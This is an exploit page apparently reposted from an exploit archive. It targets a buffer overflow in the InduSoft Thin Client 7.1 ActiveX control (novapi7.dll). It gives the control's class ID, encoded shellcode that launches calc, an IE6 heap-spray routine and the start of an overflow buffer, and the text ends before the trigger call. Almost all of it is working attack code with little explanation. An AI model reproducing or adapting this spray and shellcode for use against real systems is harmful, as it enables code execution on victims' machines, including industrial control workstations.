Indusoft Thin Client 7.1 ActiveX

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Indusoft Thin Client 7.1 ActiveX - Buffer Overflow

来源：vfocus.net 作者：Blake 发布时间：2013-10-11

<html>

<!--

InduSoft Thin Client v7.1

Date: October 8, 2013

Exploit Author: Blake

Software Link: http://www.indusoft.com/Products-Downloads/Download-Library

Version: 7.1

Tested on: Windows XP SP3 / IE6

Affected File:i386\novapi7.dll

Member Name: Initialize2

Program ID: NovaPdfOptions

Prototype: Sub Initialize2 ( ByVal p_wsPrinterName As String ,  ByVal p_wsUserName As String ,  ByVal p_wsLicenseKey As String ,  ByVal p_wsApplicationName As String )

-->

<object classid='clsid:0FAB2D9D-DC57-4C4F-939C-38C5382D71BA' id='target' ></object>

<script>

// heap spray for IE6

// calc - 196 bytes

var shellcode = unescape('%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5%u6c61%u0063');

var bigblock = unescape('%u9090%u9090');

var headersize = 20;

var slackspace = headersize + shellcode.length;

while (bigblock.length < slackspace) bigblock += bigblock;

var fillblock = bigblock.substring(0,slackspace);

var block = bigblock.substring(0,bigblock.length - slackspace);

while (block.length + slackspace < 0x50000) block = block + block + fillblock;

var memory = new Array();

for (i = 0; i < 500; i++){ memory[i] = block + shellcode }

alert("Spray finished, ready to trigger the crash");

buffer = "";

while(buffer.length < 262) buffer+="A";